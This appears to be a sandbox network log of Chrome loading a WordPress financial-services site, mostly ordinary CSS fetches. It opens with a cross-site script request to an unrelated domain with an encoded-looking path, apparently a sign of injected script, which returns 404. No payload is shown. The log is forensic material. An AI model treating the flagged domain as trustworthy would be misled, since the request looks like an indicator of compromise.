2024-04-11 20:36:01 UTC	591	OUT	GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1 Host: welcome.visionaryyouth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:06 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 11 Apr 2024 20:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-11 20:36:06 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-04-11 20:36:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50182	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:01 UTC	646	OUT	GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:01 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72670 content-type: text/css x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65e5988c-11bde" last-modified: Mon, 04 Mar 2024 09:46:52 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:01 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18135-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867761.321264,VS0,VE96 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 33 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2c 0a 2e 66 61 73 2c 0a 2e 66 61 72 2c 0a 2e 66 61 6c 2c 0a 2e 66 61 64 2c 0a 2e 66 61 62 20 7b 0a 20 20 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 67 72 61 79 73 63 Data Ascii: /! Font Awesome Free 5.13.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fas,.far,.fal,.fad,.fab { -moz-osx-font-smoothing: graysc
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 2d 70 75 6c 6c 2d 6c 65 66 74 2c 0a 2e 66 61 62 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 6d 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 2c 0a 2e 66 61 73 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 2c 0a 2e 66 61 72 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 2c 0a 2e 66 61 6c 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 2c 0a 2e 66 61 62 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 20 7d 0a 0a 2e 66 61 2d 73 70 69 6e 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 0a 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d Data Ascii: -pull-left,.fab.fa-pull-left { margin-right: .3em; }.fa.fa-pull-right,.fas.fa-pull-right,.far.fa-pull-right,.fal.fa-pull-right,.fab.fa-pull-right { margin-left: .3em; }.fa-spin { -webkit-animation: fa-spin 2s infinite linear; anim
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 20 7d 0a 0a 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 0a 20 20 20 20 Data Ascii: oft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); transform: scale(-1, 1); }.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1);
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 3b 20 7d 0a 0a 2e 66 61 2d 61 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 36 34 31 22 3b 20 7d 0a 0a 2e 66 61 2d 61 64 64 72 65 73 73 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 62 39 22 3b 20 7d 0a 0a 2e 66 61 2d 61 64 64 72 65 73 73 2d 63 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 62 62 22 3b 20 7d 0a 0a 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 32 22 3b 20 7d 0a 0a 2e 66 61 2d 61 64 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 37 30 22 3b 20 7d 0a 0a 2e 66 61 2d 61 64 6f 62 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 Data Ascii: ; }.fa-ad:before { content: "\f641"; }.fa-address-book:before { content: "\f2b9"; }.fa-address-card:before { content: "\f2bb"; }.fa-adjust:before { content: "\f042"; }.fa-adn:before { content: "\f170"; }.fa-adobe:before { content:
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 20 7d 0a 0a 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 37 22 3b 20 7d 0a 0a 2e 66 61 2d 61 6e 67 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 34 22 3b 20 7d 0a 0a 2e 66 61 2d 61 6e 67 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 35 22 3b 20 7d 0a 0a 2e 66 61 2d 61 6e 67 6c 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 36 22 3b 20 7d 0a 0a 2e 66 61 2d 61 6e 67 72 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 35 36 22 3b 20 7d 0a 0a 2e 66 61 2d 61 6e 67 72 79 63 72 65 61 74 69 76 65 3a 62 65 66 6f Data Ascii: }.fa-angle-down:before { content: "\f107"; }.fa-angle-left:before { content: "\f104"; }.fa-angle-right:before { content: "\f105"; }.fa-angle-up:before { content: "\f106"; }.fa-angry:before { content: "\f556"; }.fa-angrycreative:befo
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 62 32 22 3b 20 7d 0a 0a 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 2d 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 33 37 22 3b 20 7d 0a 0a 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 2d 76 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 33 38 22 3b 20 7d 0a 0a 2e 66 61 2d 61 72 74 73 74 61 74 69 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 37 37 61 22 3b 20 7d 0a 0a 2e 66 61 2d 61 73 73 69 73 74 69 76 65 2d 6c 69 73 74 65 6e 69 6e 67 2d 73 79 73 74 65 6d 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 61 32 22 3b 20 7d 0a 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 Data Ascii: fore { content: "\f0b2"; }.fa-arrows-alt-h:before { content: "\f337"; }.fa-arrows-alt-v:before { content: "\f338"; }.fa-artstation:before { content: "\f77a"; }.fa-assistive-listening-systems:before { content: "\f2a2"; }.fa-asterisk:bef
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 72 63 6f 64 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 20 7d 0a 0a 2e 66 61 2d 62 61 72 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 39 22 3b 20 7d 0a 0a 2e 66 61 2d 62 61 73 65 62 61 6c 6c 2d 62 61 6c 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 34 33 33 22 3b 20 7d 0a 0a 2e 66 61 2d 62 61 73 6b 65 74 62 61 6c 6c 2d 62 61 6c 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 34 33 34 22 3b 20 7d 0a 0a 2e 66 61 2d 62 61 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 63 64 22 3b 20 7d 0a 0a 2e 66 61 2d 62 61 74 74 65 72 79 2d 65 6d 70 74 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 Data Ascii: rcode:before { content: "\f02a"; }.fa-bars:before { content: "\f0c9"; }.fa-baseball-ball:before { content: "\f433"; }.fa-basketball-ball:before { content: "\f434"; }.fa-bath:before { content: "\f2cd"; }.fa-battery-empty:before { cont
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 65 6e 64 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 31 37 22 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 65 6e 64 65 72 2d 70 68 6f 6e 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 36 62 36 22 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 69 6e 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 39 64 22 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 6f 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 37 38 31 22 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 6f 67 67 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 37 63 22 3b 20 7d 0a 0a 2e 66 61 2d 62 6c 6f 67 67 65 72 2d 62 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 Data Ascii: ; }.fa-blender:before { content: "\f517"; }.fa-blender-phone:before { content: "\f6b6"; }.fa-blind:before { content: "\f29d"; }.fa-blog:before { content: "\f781"; }.fa-blogger:before { content: "\f37c"; }.fa-blogger-b:before { cont
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 74 3a 20 22 5c 66 37 65 63 22 3b 20 7d 0a 0a 2e 66 61 2d 62 72 69 65 66 63 61 73 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 62 31 22 3b 20 7d 0a 0a 2e 66 61 2d 62 72 69 65 66 63 61 73 65 2d 6d 65 64 69 63 61 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 34 36 39 22 3b 20 7d 0a 0a 2e 66 61 2d 62 72 6f 61 64 63 61 73 74 2d 74 6f 77 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 31 39 22 3b 20 7d 0a 0a 2e 66 61 2d 62 72 6f 6f 6d 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 31 61 22 3b 20 7d 0a 0a 2e 66 61 2d 62 72 75 73 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 35 64 22 3b 20 7d 0a 0a 2e 66 61 2d Data Ascii: t: "\f7ec"; }.fa-briefcase:before { content: "\f0b1"; }.fa-briefcase-medical:before { content: "\f469"; }.fa-broadcast-tower:before { content: "\f519"; }.fa-broom:before { content: "\f51a"; }.fa-brush:before { content: "\f55d"; }.fa-
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 75 6e 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 36 62 62 22 3b 20 7d 0a 0a 2e 66 61 2d 63 61 6e 61 64 69 61 6e 2d 6d 61 70 6c 65 2d 6c 65 61 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 37 38 35 22 3b 20 7d 0a 0a 2e 66 61 2d 63 61 6e 64 79 2d 63 61 6e 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 37 38 36 22 3b 20 7d 0a 0a 2e 66 61 2d 63 61 6e 6e 61 62 69 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 35 35 66 22 3b 20 7d 0a 0a 2e 66 61 2d 63 61 70 73 75 6c 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 34 36 62 22 3b 20 7d 0a 0a 2e 66 61 2d 63 61 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 Data Ascii: und:before { content: "\f6bb"; }.fa-canadian-maple-leaf:before { content: "\f785"; }.fa-candy-cane:before { content: "\f786"; }.fa-cannabis:before { content: "\f55f"; }.fa-capsules:before { content: "\f46b"; }.fa-car:before { content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50183	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:01 UTC	637	OUT	GET /wp-content/plugins/timeline-express/lib/public/css/min/timeline-express.min.css?ver=1.8.1 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:01 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4940 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5e8f3b70-134c" last-modified: Thu, 09 Apr 2020 15:12:48 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:01 GMT X-Served-By: cache-ewr18183-EWR, cache-ewr18156-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867761.427626,VS0,VE61 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 2f 2a 0a 20 2a 20 40 50 6c 75 67 69 6e 20 54 69 6d 65 6c 69 6e 65 20 45 78 70 72 65 73 73 0a 20 2a 20 40 41 75 74 68 6f 72 20 43 6f 64 65 20 50 61 72 72 6f 74 73 0a 20 2a 20 40 53 69 74 65 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 70 2d 74 69 6d 65 6c 69 6e 65 65 78 70 72 65 73 73 2e 63 6f 6d 0a 20 2a 20 40 56 65 72 73 69 6f 6e 20 31 2e 38 2e 31 0a 20 2a 20 40 42 75 69 6c 64 20 30 34 2d 30 34 2d 32 30 32 30 0a 20 2a 2f 0a 2e 63 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 35 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 63 64 2d 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 27 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 63 64 2d 74 69 6d 65 6c 69 6e 65 7b 70 6f 73 69 74 Data Ascii: /* * @Plugin Timeline Express * @Author Code Parrots * @Site https://www.wp-timelineexpress.com * @Version 1.8.1 * @Build 04-04-2020 */.cd-container{width:95%;margin:0 auto}.cd-container::after{content:'';display:table;clear:both}#cd-timeline{posit
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6f 70 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 65 6d 3b 70 61 64 64 69 6e 67 3a 31 65 6d 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 30 20 23 62 39 63 35 63 64 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 65 6d 7d 2e 63 64 2d 74 69 6d 65 6c 69 6e 65 Data Ascii: op:0;background:#fff;border-radius:.25em;padding:1em;box-shadow:0 3px 0 #b9c5cd;box-sizing:border-box!important;-moz-box-sizing:border-box!important;-webkit-box-sizing:border-box!important;-ms-box-sizing:border-box!important;margin-bottom:1em}.cd-timeline
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 32 32 70 78 29 7b 23 63 64 2d 74 69 6d 65 6c 69 6e 65 7b 6d 61 72 67 69 6e 3a 33 2e 35 65 6d 20 30 7d 23 63 64 2d 74 69 6d 65 6c 69 6e 65 3a 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 70 78 7d 23 63 64 2d 74 69 6d 65 6c 69 6e 65 20 73 70 61 6e 2e 66 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 36 33 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 2e 63 64 2d 74 69 6d 65 6c 69 6e 65 2d 62 6c 6f 63 6b 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 63 64 2d 74 69 6d 65 6c 69 6e 65 2d 62 6c 6f 63 6b 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d Data Ascii: media only screen and (min-width:822px){#cd-timeline{margin:3.5em 0}#cd-timeline::before{left:50%;margin-left:-2px}#cd-timeline span.fa{font-size:25px;line-height:63px;height:100%}.cd-timeline-block:first-child{margin-top:0}.cd-timeline-block:last-child{m
2024-04-11 20:36:01 UTC	806	IN	Data Raw: 69 6d 61 74 69 6f 6e 3a 74 65 2d 73 6c 69 64 65 2d 69 6e 2d 6c 65 66 74 20 2e 36 73 7d 2e 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 2e 63 64 2d 74 69 6d 65 6c 69 6e 65 2d 62 6c 6f 63 6b 3a 6e 74 68 2d 63 68 69 6c 64 28 65 76 65 6e 29 20 2e 63 64 2d 74 69 6d 65 6c 69 6e 65 2d 63 6f 6e 74 65 6e 74 2e 62 6f 75 6e 63 65 2d 69 6e 7b 61 6e 69 6d 61 74 69 6f 6e 3a 74 65 2d 73 6c 69 64 65 2d 69 6e 2d 72 69 67 68 74 20 2e 36 73 7d 7d 62 6f 64 79 2e 73 69 6e 67 6c 65 2d 74 65 5f 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 73 20 2e 65 6e 74 72 79 2d 6d 65 74 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 62 6f 64 79 2e 73 69 6e 67 6c 65 2d 74 65 5f 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 73 20 2e 74 69 6d 65 6c 69 6e 65 2d 65 78 70 72 65 73 73 2d 63 6f 6e Data Ascii: imation:te-slide-in-left .6s}.cssanimations .cd-timeline-block:nth-child(even) .cd-timeline-content.bounce-in{animation:te-slide-in-right .6s}}body.single-te_announcements .entry-meta{display:inline-block}body.single-te_announcements .timeline-express-con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50184	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:01 UTC	648	OUT	GET /wp-content/plugins/timeline-express/lib/public/js/min/timeline-express.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:01 UTC	725	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1042 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65fc21fa-412" last-modified: Thu, 21 Mar 2024 12:03:06 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:01 GMT X-Served-By: cache-lga21946-LGA, cache-lga21972-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867761.412806,VS0,VE137 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
